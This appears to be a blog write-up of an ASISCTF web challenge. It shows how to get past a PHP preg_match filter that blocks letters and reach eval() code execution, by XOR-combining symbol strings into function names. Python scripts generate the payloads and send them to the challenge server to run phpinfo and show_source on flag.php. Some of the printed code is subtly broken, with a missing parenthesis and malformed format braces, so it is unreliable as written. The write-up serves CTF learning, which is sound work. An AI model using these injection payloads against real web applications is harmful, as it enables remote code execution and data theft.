Power belongs to the people who take it

Bypass WAF – Execution of PHP code without letters

In this post we use a challenge from ASISCTF to explain a way to skip a filter, implemented by the function preg_match, to execute code PHP.

Statement



As you can see in the image we are provided with a link to the web that we have to break and a small clue that tells us that the flag is inside the file flag.php

Solution

Solution

By accessing the link provided we see the source code of the challenge. This is a clue that allows us to know the inner workings.



Summarizing the behavior of the web, it is prepared to receive a parameter warmup, once it receives data it will check its content against the regular expression that appears in the function preg_match and it will also check its length, not being able to exceed 60 characters. If the string entered meets the above conditions it will be passed as a parameter to the function eval. This function will execute as code PHP what was entered as parameter. Clearly this is our injection point, but will we be able to execute anything with these restrictions? Let’s focus on the function preg_match.
The function preg_match is a function to check a regular expression with certain modifiers against a string passed as a second parameter. With some additional parameters you can store the result, although that is not of our interest right now.

preg_match('/[A-Za-z]/is',$_GET['warmup'])

In this case the regular expression does not allow upper or lower case letters. To find a solution to this problem we have to take into account that our code will pass through eval, that is to say it will be executed. For that reason we can make some expression between allowed characters with which when operating we obtain a string with characters outside the allowed ones. We can think that it is worth having a string inside a eval, well, PHP is a language designed to be easy to program with and has a characteristic/vulnerability that allows data types to be confused. That is, for PHP 4 and “4” is the same, but not only that, but (“phpinfo”)() is the same as phpinfo();. Knowing these peculiarities of PHP we can pass to look for the expression that allows to obtain a string from valid characters. For that we will use the operation XOR.
The XOR operation will act on two characters obtaining a third one that should be our desired character, as the operation is reversible we will use the desired character against another valid one hoping to obtain a third one also valid. Once the operation between the last two is found, it will be the one that will give our desired character. Let’s implement this in a simple python script.

def xor(str1, str2):
  result = []
  for i, j in zip(str1, str2):
    result.append(chr(ord(i) ^ ord(j))
  return ''.join(result)

xor1 = xor("flag", "{}[?")
flag = xor(xor1, "{}[?")



With this small test we can develop a script that looks for two strings that through a character by character XOR operation form a valid PHP code. The first thing will be to find the allowed character set so we will define valids and add the characters. We will try valid combinations of characters in an automatic way that when operating against the target word will also get valid characters.

def get_xor_strings(expected, valids):
  word1 = ""
  word2 = ""

  for i in expected:
    for valid in valids:
      result = chr(ord(i) ^ ord(valid))
      if result in valids:
        word1 = word1 + result
        word2 = word2 + valid
        break
  return word1, word2

valids = [ ]
for item in string.printable:
  if item not in string.ascii_letters:
    valids.append(item)
valids = valids[:len(valids)-3]
print("[+] Generated valids => {}".format(valids))

expected = "flag"
word1, word2 = get_xor_strings(expected, valids)
print("[+] Word 1 {}- Word2 {}".format(word1, word2))

result = xor(word1, word2)
print("[+] Verifying... Should be {} => {}".format(expected, result))



The next phase is to get a string that I generated valid PHP code and check that it actually runs. We simply modify the script to generate the payload of the two resulting strings that get a PHP function, in this case phpinfo(), and send it to the vulnerable web.

expected = "phpinfo"
word1, word2 = get_xor_strings(expected, valids)
print("[+] Word 1 {}- Word2 {}".format(word1, word2))

result = xor(word1, word2)
print("[+] Verifying... Should be {} => {}".format(expected, result))

payload = "(\"{}\"^\"{}\")();".format(word1, word2)
print("[+] Sending payload {}".format(payload))

params = (
  ('warmup', payload),
)
response = requests.get('http://69.90.132.196:5003/', params=params)
print(response.content.decode())



We get the content of the page generated by executing phpinfo(), our payload works. When reading the resulting page we realize that there are functions that are disabled.



Since we are only interested in reading the content of flag.php we modify our script to generate the function show_source with the parameter flag.php.

expected = "show_source"
word1, word2 = get_xor_strings(expected, valids)
print("[+] Word 1 {}- Word2 {}".format(word1, word2))

result = xor(word1, word2)
print("[+] Verifying... Should be {} => {}".format(expected, result))

expected = "flag.php"
word3, word4 = get_xor_strings(expected, valids)
print("[+] Word 1 {}- Word2 {}".format(word1, word2))

result = xor(word3, word4)
print("[+] Verifying... Should be {} => {}".format(expected, result))

payload = "(\"{\"^\"{}\")(\"{\"^\"{}\");".format(word1, word2, word3, word4)
print("[+] Sending payload {}".format(payload))

params = (
  ('warmup', payload),
)
response = requests.get('http://69.90.132.196:5003/', params=params)
print(response.content.decode())



In the code obtained from the script flag.php we can see the flag: ASIS{w4rm_up_y0ur_br4in}. No doubt an interesting challenge with which we can see how the facilities offered by PHP to the developers become useful tools for us.

¿Me ayudas a compatirlo?

1 Comment

  1. ssamany

    It does not work in php5.6

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.

© 2024 ironHackers

Theme by Anders NorenUp ↑